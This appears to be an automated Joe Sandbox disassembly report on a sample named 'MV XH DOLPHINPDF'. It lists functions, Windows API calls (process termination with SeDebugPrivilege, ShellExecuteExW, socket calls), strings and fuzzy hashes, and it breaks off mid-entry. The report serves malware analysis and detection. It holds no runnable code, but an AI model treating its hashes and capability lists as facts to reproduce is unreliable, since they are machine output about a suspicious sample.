Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
String ID:
API String ID: 1957940570-0
Opcode ID: 0388c4952c2e19a4b9cbeb1c8ceb1d882cafa9cf52a74b79438e65ce09363f7e
Instruction ID: c66d15bcc45e4c9f5bb7e96b6186c68345fa9df4a129af65b3d1e968c87203fe
Opcode Fuzzy Hash: 0388c4952c2e19a4b9cbeb1c8ceb1d882cafa9cf52a74b79438e65ce09363f7e
Instruction Fuzzy Hash: 9D01BF75240304FFE720EB65DC4EF573B6CEB89711F004425FA45DB591CAB09841CB20

Function 000F9428 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 263COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 000F947C
VariantInit.OLEAUT32(?), ref: 000F954D
VariantInit.OLEAUT32(?), ref: 000F964E
VariantClear.OLEAUT32(?), ref: 000F9658
VariantClear.OLEAUT32(?), ref: 000F96B5

Strings

Null Object assignment in FOR..IN loop, xrefs: 000F94DD, 000F960B, 000F96C3
Incorrect Object type in FOR..IN loop, xrefs: 000F9631

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Variant$ClearInit$_memset
String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
API String ID: 2862541840-625585964
Opcode ID: 1628d8860d94e627239ddbfbb4f881c39f9193492522f36ab0e61d69375ec583
Instruction ID: 1a51a4e777c1a02485fd93792349564d98aa0d900e59f5fa326e0862a8122897
Opcode Fuzzy Hash: 1628d8860d94e627239ddbfbb4f881c39f9193492522f36ab0e61d69375ec583
Instruction Fuzzy Hash: F091AD71A00219AFDF24DFA5C848FAEBBB8EF85710F108159F615EB681D7709945CFA0

Function 000F9A72 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

Part of subcall function 000D7652: CLSIDFromProgID.OLE32(?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,000D758C,80070057,?,?,?,000D799D), ref: 000D766F
Part of subcall function 000D7652: ProgIDFromCLSID.OLE32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,000D758C,80070057,?,?), ref: 000D768A
Part of subcall function 000D7652: lstrcmpiW.KERNEL32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,000D758C,80070057,?,?), ref: 000D7698
Part of subcall function 000D7652: CoTaskMemFree.OLE32(00000000,?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,000D758C,80070057,?), ref: 000D76A8

CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000,?,?,?), ref: 000F9B1B
_memset.LIBCMT ref: 000F9B28
_memset.LIBCMT ref: 000F9C6B
CoCreateInstanceEx.OLE32(?,00000000,00000015,?,00000001,00000000), ref: 000F9C97
CoTaskMemFree.OLE32(?), ref: 000F9CA2

Strings

NULL Pointer assignment, xrefs: 000F9CF0

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: FreeFromProgTask_memset$CreateInitializeInstanceSecuritylstrcmpi
String ID: NULL Pointer assignment
API String ID: 1300414916-2785691316
Opcode ID: 86158bbd64c631c72ed5245ed8705abe87a0575a20a313eadb9d66de495f65cd
Instruction ID: 32648f11954371778dfc95115be18287fc0946ca9454bd17e07f4055a2715104
Opcode Fuzzy Hash: 86158bbd64c631c72ed5245ed8705abe87a0575a20a313eadb9d66de495f65cd
Instruction Fuzzy Hash: 1B913971D0022DABDB20DFA4DC85EEEBBB9BF08710F20415AF519A7241DB719A45CFA0

Function 00106FEF Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 00107093
SendMessageW.USER32(?,00001036,00000000,?), ref: 001070A7
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 001070C1
_wcscat.LIBCMT ref: 0010711C
SendMessageW.USER32(?,00001057,00000000,?), ref: 00107133
SendMessageW.USER32(?,00001061,?,0000000F), ref: 00107161

Strings

SysListView32, xrefs: 00107065

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: MessageSend$Window_wcscat
String ID: SysListView32
API String ID: 307300125-78025650
Opcode ID: 8389c2b174d76eec8e7b24065f37ab5cfd71e967c8d1cb0466285a44bfe83b41
Instruction ID: e49b79a034eb99a39b82628bce937de23a460fc4bac4960fa05820b3ac8addf2
Opcode Fuzzy Hash: 8389c2b174d76eec8e7b24065f37ab5cfd71e967c8d1cb0466285a44bfe83b41
Instruction Fuzzy Hash: C8419371904308AFEB21DFA4CC85BEE77A8EF09354F10456AF584E71D2D7B2AD858B60

Function 000FEC47 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136COMMON

Download Yara Rule

APIs

Part of subcall function 000E3E91: CreateToolhelp32Snapshot.KERNEL32 ref: 000E3EB6
Part of subcall function 000E3E91: Process32FirstW.KERNEL32(00000000,?), ref: 000E3EC4
Part of subcall function 000E3E91: CloseHandle.KERNEL32(00000000), ref: 000E3F8E

OpenProcess.KERNEL32(00000001,00000000,?), ref: 000FECB8
GetLastError.KERNEL32 ref: 000FECCB
OpenProcess.KERNEL32(00000001,00000000,?), ref: 000FECFA
TerminateProcess.KERNEL32(00000000,00000000), ref: 000FED77
GetLastError.KERNEL32(00000000), ref: 000FED82
CloseHandle.KERNEL32(00000000), ref: 000FEDB7

Strings

SeDebugPrivilege, xrefs: 000FECD6

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
String ID: SeDebugPrivilege
API String ID: 2533919879-2896544425
Opcode ID: f950031d6f0121732a91486cc6f27a32671f58b08ec654a22b3812901521d219
Instruction ID: 40a22d7e885ce0b2633b26d707b2cee28655fe75b248fdd8482c415b1a090044
Opcode Fuzzy Hash: f950031d6f0121732a91486cc6f27a32671f58b08ec654a22b3812901521d219
Instruction Fuzzy Hash: BE419D712042059FDB24EF24CC95FBDB7A1AF80714F08805DF9829BAD3DBB5A845DB92

Function 000E3226 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 82windowCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000000,00007F03), ref: 000E32C5

Strings

info, xrefs: 000E3266
blank, xrefs: 000E3247
warning, xrefs: 000E32AE
stop, xrefs: 000E3296
question, xrefs: 000E327E

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: IconLoad
String ID: blank$info$question$stop$warning
API String ID: 2457776203-404129466
Opcode ID: 3526d0203ce0a05660937f52795038eb549a02c98e73947075f438d78668f045
Instruction ID: d7685b71094bec85a581ea6ce07d201a52bd6e1ba617856809c037ac3fc7f502
Opcode Fuzzy Hash: 3526d0203ce0a05660937f52795038eb549a02c98e73947075f438d78668f045
Instruction Fuzzy Hash: A911E7316483C6BEE7515A56DC47DAFBBDCDF1A370F20002EFA80BB182E7A59B4045A5

Function 000E4534 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000100,00000000), ref: 000E454E
LoadStringW.USER32(00000000), ref: 000E4555
GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 000E456B
LoadStringW.USER32(00000000), ref: 000E4572
_wprintf.LIBCMT ref: 000E4598
MessageBoxW.USER32(00000000,?,?,00011010), ref: 000E45B6

Strings

%s (%d) : ==> %s: %s %s, xrefs: 000E4593

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: HandleLoadModuleString$Message_wprintf
String ID: %s (%d) : ==> %s: %s %s
API String ID: 3648134473-3128320259
Opcode ID: 0b82e53f4abca8e7896f4dd2e04645e21df8f6d4c1c3af4816c925ee1d978faa
Instruction ID: 663401507bf62c59fa24f277a0a17b691917a145bd6fcbd9e8dd5b98df208d6d
Opcode Fuzzy Hash: 0b82e53f4abca8e7896f4dd2e04645e21df8f6d4c1c3af4816c925ee1d978faa
Instruction Fuzzy Hash: F70144F2900208BFE760D7909D8AEE7776CD708301F0005A9B745E2451EAB55EC54B70

Function 0010D74C Relevance: 12.3, APIs: 8, Instructions: 257windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00082612: GetWindowLongW.USER32(?,000000EB), ref: 00082623

GetSystemMetrics.USER32(0000000F), ref: 0010D78A
GetSystemMetrics.USER32(0000000F), ref: 0010D7AA
MoveWindow.USER32(00000003,?,?,?,?,00000000,?,?,?), ref: 0010D9E5
SendMessageW.USER32(00000003,00000142,00000000,0000FFFF), ref: 0010DA03
SendMessageW.USER32(00000003,00000469,?,00000000), ref: 0010DA24
ShowWindow.USER32(00000003,00000000), ref: 0010DA43
InvalidateRect.USER32(?,00000000,00000001), ref: 0010DA68
DefDlgProcW.USER32(?,00000005,?,?), ref: 0010DA8B

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Window$MessageMetricsSendSystem$InvalidateLongMoveProcRectShow
String ID:
API String ID: 1211466189-0
Opcode ID: 71c765fce3c699a8c823fce87b0b15fcacf3d824ccd17d03a3f54596fc318890
Instruction ID: 8ab4ce44dd27ca0772ea62aff15c7e29115234a28bb0b944383e8253197985cc
Opcode Fuzzy Hash: 71c765fce3c699a8c823fce87b0b15fcacf3d824ccd17d03a3f54596fc318890
Instruction Fuzzy Hash: 93B1AA75600225EFDF18CFA8D9857BE7BB1FF44704F098069EC889B695DBB0A990CB50

Function 00082A5B Relevance: 12.1, APIs: 8, Instructions: 129COMMON

Download Yara Rule

APIs

ShowWindow.USER32(FFFFFFFF,?,00000000,00000000,?,000BC417,00000004,00000000,00000000,00000000), ref: 00082ACF
ShowWindow.USER32(FFFFFFFF,00000000,00000000,00000000,?,000BC417,00000004,00000000,00000000,00000000,000000FF), ref: 00082B17
ShowWindow.USER32(FFFFFFFF,00000006,00000000,00000000,?,000BC417,00000004,00000000,00000000,00000000), ref: 000BC46A
ShowWindow.USER32(FFFFFFFF,?,00000000,00000000,?,000BC417,00000004,00000000,00000000,00000000), ref: 000BC4D6

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: de5596d644f8efadb9536f2cc0be0d5eab6b2c43862d6341979ed9fd39021e57
Instruction ID: 1d4d1c66bb926cec8e376d56eadf4ebde873a8b0649f9503e41ea863eb705635
Opcode Fuzzy Hash: de5596d644f8efadb9536f2cc0be0d5eab6b2c43862d6341979ed9fd39021e57
Instruction Fuzzy Hash: 9C410974208680ABD77DAB28CC9CBBF7BD2BF56300F19881DE0D786961C7759982D712

Function 000E7368 Relevance: 12.1, APIs: 8, Instructions: 101fileCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,000001F5), ref: 000E737F

Part of subcall function 000A0FF6: std::exception::exception.LIBCMT ref: 000A102C
Part of subcall function 000A0FF6: __CxxThrowException@8.LIBCMT ref: 000A1041

ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,?,00000000), ref: 000E73B6
EnterCriticalSection.KERNEL32(?), ref: 000E73D2
_memmove.LIBCMT ref: 000E7420
_memmove.LIBCMT ref: 000E743D
LeaveCriticalSection.KERNEL32(?), ref: 000E744C
ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,00000000,00000000), ref: 000E7461
InterlockedExchange.KERNEL32(?,000001F6), ref: 000E7480

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: CriticalExchangeFileInterlockedReadSection_memmove$EnterException@8LeaveThrowstd::exception::exception
String ID:
API String ID: 256516436-0
Opcode ID: e73deafd1888e7f177765cf3532e70d68c0e67dc9dbc2d8e015cdd64a0624380
Instruction ID: 5ee597fdcb58b3699a490217aadad586f8509cceff25058c8978394b94c35076
Opcode Fuzzy Hash: e73deafd1888e7f177765cf3532e70d68c0e67dc9dbc2d8e015cdd64a0624380
Instruction Fuzzy Hash: 73319E71904205EFCF10EFA5DC85AAEBBB8EF45310F1440B9F904AB646DBB0DA51CBA0

Function 00106442 Relevance: 12.1, APIs: 8, Instructions: 95windowCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 0010645A
GetDC.USER32(00000000), ref: 00106462
GetDeviceCaps.GDI32(00000000,0000005A), ref: 0010646D
ReleaseDC.USER32(00000000,00000000), ref: 00106479
CreateFontW.GDI32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,00000001,00000004,00000000,?,00000000,?), ref: 001064B5
SendMessageW.USER32(?,00000030,00000000,00000001), ref: 001064C6
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,00109299,?,?,000000FF,00000000,?,000000FF,?), ref: 00106500
SendMessageW.USER32(?,00000142,00000000,00000000), ref: 00106520

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
String ID:
API String ID: 3864802216-0
Opcode ID: 73b7b14e3d68d00ee53f85284dacc503103ff7b0d9dd1bf76832392e97a310a0
Instruction ID: 0656dade54f768b383058bc9971382300ea77d77d9f60f3f3a3d0deaffd985ba
Opcode Fuzzy Hash: 73b7b14e3d68d00ee53f85284dacc503103ff7b0d9dd1bf76832392e97a310a0
Instruction Fuzzy Hash: 35319176100214BFEB208F10CC4AFEA3FA9EF09761F044069FE489A195C7B59C52CB60

Function 000DC072 Relevance: 12.1, APIs: 8, Instructions: 92COMMON

Download Yara Rule

APIs

_memcmp.LIBCMT ref: 000DC087
_memcmp.LIBCMT ref: 000DC0A9
_memcmp.LIBCMT ref: 000DC0C1
_memcmp.LIBCMT ref: 000DC0D4
_memcmp.LIBCMT ref: 000DC0EE
_memcmp.LIBCMT ref: 000DC101
_memcmp.LIBCMT ref: 000DC119
_memcmp.LIBCMT ref: 000DC134

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: c0d6af1c42a94c52a42c66822514759b26f9d620e0febba80c7f3d77fc783944
Instruction ID: 8a8255b54bacfd80da65a2b3637acd01bf151b46018c4bb53618a84762b1b807
Opcode Fuzzy Hash: c0d6af1c42a94c52a42c66822514759b26f9d620e0febba80c7f3d77fc783944
Instruction Fuzzy Hash: 6721B071640316BBF664A5609C42FEF279CAF22394F084022FE0596383EB61DE21C6F5

Function 000EED8E Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 323COMMON

Download Yara Rule

APIs

Part of subcall function 00089997: __itow.LIBCMT ref: 000899C2
Part of subcall function 00089997: __swprintf.LIBCMT ref: 00089A0C

Part of subcall function 0009FEC6: _wcscpy.LIBCMT ref: 0009FEE9

_wcstok.LIBCMT ref: 000EEEFF
_wcscpy.LIBCMT ref: 000EEF8E
_memset.LIBCMT ref: 000EEFC1

Strings

X, xrefs: 000EEFFE

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: _wcscpy$__itow__swprintf_memset_wcstok
String ID: X
API String ID: 774024439-3081909835
Opcode ID: e52a1771e699c0d450baa92495cf67ab4bc2df5b354c2eade2bac8a20362fdca
Instruction ID: 7200e7083d1ee833da11200dc0b041d15f466ccbc1ef8ea44fe42ddeee6b9b20
Opcode Fuzzy Hash: e52a1771e699c0d450baa92495cf67ab4bc2df5b354c2eade2bac8a20362fdca
Instruction Fuzzy Hash: 78C16C715083819FC764FF24C885AAAB7E4BF85310F14496DF8D99B2A2DB70ED45CB82

Function 000F6E17 Relevance: 10.8, APIs: 7, Instructions: 250networkCOMMON

Download Yara Rule

APIs

__WSAFDIsSet.WSOCK32(00000000,?,00000000,00000000,?,00000064,00000000), ref: 000F6F14
#17.WSOCK32(00000000,?,?,00000000,?,00000010), ref: 000F6F35
WSAGetLastError.WSOCK32(00000000), ref: 000F6F48
htons.WSOCK32(?,?,?,00000000,?), ref: 000F6FFE
inet_ntoa.WSOCK32(?), ref: 000F6FBB

Part of subcall function 000DAE14: _strlen.LIBCMT ref: 000DAE1E
Part of subcall function 000DAE14: _memmove.LIBCMT ref: 000DAE40

_strlen.LIBCMT ref: 000F7058
_memmove.LIBCMT ref: 000F70C1

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: _memmove_strlen$ErrorLasthtonsinet_ntoa
String ID:
API String ID: 3619996494-0
Opcode ID: 989fac97c61565e5897c17b477a5e470458b4ce9541d69b9fa82f132adae4743
Instruction ID: 2840d9c625d47a82e7e2bc0cf6fb185377c9f87e71fe88366808a33fc1951987
Opcode Fuzzy Hash: 989fac97c61565e5897c17b477a5e470458b4ce9541d69b9fa82f132adae4743
Instruction Fuzzy Hash: 8381C131104304ABD724FB24CC82EBFB7E9AF84714F14891DF6999B292DB719D05C792

Function 00081424 Relevance: 10.7, APIs: 7, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7646980b4af9b0a8d4c8c125e51f8795aa1bb5feca536fc71df31c649d97e014
Instruction ID: f022426f0bdf89d13ad6bbad512eb31729270906d61ec5e930c6e8afaf5776bc
Opcode Fuzzy Hash: 7646980b4af9b0a8d4c8c125e51f8795aa1bb5feca536fc71df31c649d97e014
Instruction Fuzzy Hash: F9717D30900519EFCB14EF98CC49AFEBBB9FF85310F148159F955AA251C770AA52CFA0

Function 0010B60B Relevance: 10.7, APIs: 7, Instructions: 199windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32(010E52A8), ref: 0010B6A5
IsWindowEnabled.USER32(010E52A8), ref: 0010B6B1
SendMessageW.USER32(?,0000041C,00000000,00000000), ref: 0010B795
SendMessageW.USER32(010E52A8,000000B0,?,?), ref: 0010B7CC
IsDlgButtonChecked.USER32(?,?), ref: 0010B809
GetWindowLongW.USER32(010E52A8,000000EC), ref: 0010B82B
SendMessageW.USER32(?,000000A1,00000002,00000000), ref: 0010B843

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: MessageSendWindow$ButtonCheckedEnabledLong
String ID:
API String ID: 4072528602-0
Opcode ID: f9a8f1645ee5a4e9600c8d7f09e00679dbca2a40e3e460378ba98fb7d03833a8
Instruction ID: b09bd411b1d9184066133d5ddf75b5031466d9fdd733c33caf463a3762efbb2e
Opcode Fuzzy Hash: f9a8f1645ee5a4e9600c8d7f09e00679dbca2a40e3e460378ba98fb7d03833a8
Instruction Fuzzy Hash: 5371AF74608304AFDB24DF64C8E4FAA7BB9FF4A300F144069E9C5972E1C7B2A981DB50

Function 000FF732 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 177COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 000FF75C
_memset.LIBCMT ref: 000FF825
ShellExecuteExW.SHELL32(?), ref: 000FF86A

Part of subcall function 00089997: __itow.LIBCMT ref: 000899C2
Part of subcall function 00089997: __swprintf.LIBCMT ref: 00089A0C

Part of subcall function 0009FEC6: _wcscpy.LIBCMT ref: 0009FEE9

GetProcessId.KERNEL32(00000000), ref: 000FF8E1
CloseHandle.KERNEL32(00000000), ref: 000FF910

Strings

@, xrefs: 000FF839

Memory Dump Source

